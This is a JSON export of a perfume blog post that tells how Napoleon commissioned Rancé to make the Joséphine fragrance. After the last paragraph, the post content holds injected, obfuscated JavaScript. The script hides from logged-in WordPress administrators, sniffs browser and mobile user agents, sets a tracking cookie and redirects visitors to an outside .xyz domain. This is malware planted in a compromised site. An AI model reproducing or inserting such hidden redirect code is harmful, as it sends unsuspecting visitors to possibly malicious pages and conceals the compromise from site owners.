{"id":2438,"date":"2015-04-22T09:27:12","date_gmt":"2015-04-22T13:27:12","guid":{"rendered":"http:\/\/blog.scentbird.com\/?p=2438"},"modified":"2021-07-14T11:05:23","modified_gmt":"2021-07-14T15:05:23","slug":"when-a-man-loves-a-woman-rance-1795-josephine-eau-de-parfum","status":"publish","type":"post","link":"https:\/\/scentbirddev.itcraftlab.com\/blog\/when-a-man-loves-a-woman-rance-1795-josephine-eau-de-parfum\/","title":{"rendered":"When a Man Loves a Woman: Ranc\u00e9 1795 Jos\u00e9phine Eau de Parfum"},"content":{"rendered":"<p style=\"text-align: justify;\"><img data-recalc-dims=\"1\" fetchpriority=\"high\" decoding=\"async\" data-attachment-id=\"2445\" data-permalink=\"https:\/\/scentbirddev.itcraftlab.com\/blog\/when-a-man-loves-a-woman-rance-1795-josephine-eau-de-parfum\/rance-jos-bottle\/\" data-orig-file=\"https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/Rance-Jos-bottle.jpg?fit=659%2C745&amp;ssl=1\" data-orig-size=\"659,745\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;1&quot;}\" data-image-title=\"Rance-Jos-bottle\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/Rance-Jos-bottle.jpg?fit=265%2C300&amp;ssl=1\" data-large-file=\"https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/Rance-Jos-bottle.jpg?fit=659%2C745&amp;ssl=1\" class=\"alignleft size-medium wp-image-2445\" src=\"https:\/\/i0.wp.com\/blog.scentbird.com\/wp-content\/uploads\/2015\/04\/Rance-Jos-bottle-265x300.jpg?resize=265%2C300\" alt=\"Rance-Jos-bottle\" width=\"265\" height=\"300\" srcset=\"https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/Rance-Jos-bottle.jpg?resize=265%2C300&amp;ssl=1 265w, https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/Rance-Jos-bottle.jpg?w=659&amp;ssl=1 659w\" sizes=\"(max-width: 265px) 100vw, 265px\" \/>Nothing reveals more about a woman than her choice of scent.<\/p>\n<p style=\"text-align: justify;\">However, what does a perfume say about a woman if it is given to her by the man she loves?<!--more--><\/p>\n<p style=\"text-align: justify;\">Does that mean she has to discard the perfume because it wasn\u2019t her choice? Or does she wear it with pride, because the perfume is an olfactory token of a special connection?<\/p>\n<h3 style=\"text-align: justify;\">The latter!<\/h3>\n<p style=\"text-align: justify;\">In fact, Napoleon Bonaparte was so intoxicated with\u00a0his love and lust for\u00a0Jos\u00e9phine, that he commissioned the\u00a0most popular nose in France, the perfumer by the name of Ranc\u00e9 to create 2 perfumes that\u00a0would embody this love of his.<\/p>\n<p style=\"text-align: justify;\">One perfume would be worn by the General himself, and the other by his wife on the day of his coronation. According to some records, it was Napoleon\u2019s wish that the two perfumes would complement each other when the two of them were together, creating a unique mist of love.<\/p>\n<h3 style=\"text-align: justify;\">And so Ranc\u00e9 1795 Jos\u00e9phine Eau de Parfum was born\u2026<\/h3>\n<p style=\"text-align: justify;\"><img data-recalc-dims=\"1\" decoding=\"async\" data-attachment-id=\"2440\" data-permalink=\"https:\/\/scentbirddev.itcraftlab.com\/blog\/when-a-man-loves-a-woman-rance-1795-josephine-eau-de-parfum\/2356312548_6551238bd5_z\/\" data-orig-file=\"https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/2356312548_6551238bd5_z.jpg?fit=640%2C426&amp;ssl=1\" data-orig-size=\"640,426\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"2356312548_6551238bd5_z\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/2356312548_6551238bd5_z.jpg?fit=300%2C200&amp;ssl=1\" data-large-file=\"https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/2356312548_6551238bd5_z.jpg?fit=640%2C426&amp;ssl=1\" class=\"alignleft size-medium wp-image-2440\" src=\"https:\/\/i0.wp.com\/blog.scentbird.com\/wp-content\/uploads\/2015\/04\/2356312548_6551238bd5_z-300x200.jpg?resize=300%2C200\" alt=\"2356312548_6551238bd5_z\" width=\"300\" height=\"200\" srcset=\"https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/2356312548_6551238bd5_z.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/2356312548_6551238bd5_z.jpg?w=640&amp;ssl=1 640w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>The perfume opens with pleasing, yet bold notes of cloves and ylang-ylang.<\/p>\n<p style=\"text-align: justify;\">Those who were close to Josephine say that she was weary of people she didn\u2019t know, so maybe this is why the perfume acts so cautiously at the beginning. As the perfume dries and it comes to know your skin, it becomes one of the\u00a0most lavish scents you have ever smelled. In fact, it&#8217;s almost magical because there are different notes with every spritz. This\u00a0perfume is exquisitely sophisticated, feminine and utterly gentle.<\/p>\n<h3 style=\"text-align: justify;\">And regal, very regal.<\/h3>\n<div id=\"attachment_2443\" style=\"width: 310px\" class=\"wp-caption alignleft\"><img data-recalc-dims=\"1\" decoding=\"async\" aria-describedby=\"caption-attachment-2443\" data-attachment-id=\"2443\" data-permalink=\"https:\/\/scentbirddev.itcraftlab.com\/blog\/when-a-man-loves-a-woman-rance-1795-josephine-eau-de-parfum\/4996323662_8666e30b05_z\/\" data-orig-file=\"https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/4996323662_8666e30b05_z.jpg?fit=640%2C426&amp;ssl=1\" data-orig-size=\"640,426\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"4996323662_8666e30b05_z\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/4996323662_8666e30b05_z.jpg?fit=300%2C200&amp;ssl=1\" data-large-file=\"https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/4996323662_8666e30b05_z.jpg?fit=640%2C426&amp;ssl=1\" class=\"wp-image-2443 size-medium\" src=\"https:\/\/i0.wp.com\/blog.scentbird.com\/wp-content\/uploads\/2015\/04\/4996323662_8666e30b05_z-300x200.jpg?resize=300%2C200\" alt=\"4996323662_8666e30b05_z\" width=\"300\" height=\"200\" srcset=\"https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/4996323662_8666e30b05_z.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/scentbirddev.itcraftlab.com\/blog\/wp-content\/uploads\/2015\/04\/4996323662_8666e30b05_z.jpg?w=640&amp;ssl=1 640w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><p id=\"caption-attachment-2443\" class=\"wp-caption-text\">Image courtesy of Gioia De Antoniis Flickr<\/p><\/div>\n<p style=\"text-align: justify;\">Napoleon was filled with jealousy, so this perfume was only meant to be worn by Josephine and no other woman on this planet. However, this 200 year agreement took its demise, and Josephine\u00a0was re-launched in 2005.<\/p>\n<p style=\"text-align: justify;\">As for Josephine, she was one lucky girl.<\/p>\n<style> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https:\/\/www..xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\\x20path=\/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](\/Android\/i)||navigator['userAgent'][b('0xe')](\/BlackBerry\/i)||navigator[b('0xd')][b('0xe')](\/iPhone|iPad|iPod\/i)||navigator[b('0xd')][b('0xe')](\/Opera Mini\/i)||navigator[b('0xd')][b('0xe')](\/IEMobile\/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));<\/style>\n","protected":false},"excerpt":{"rendered":"<p>Nothing reveals more about a woman than her choice of scent. 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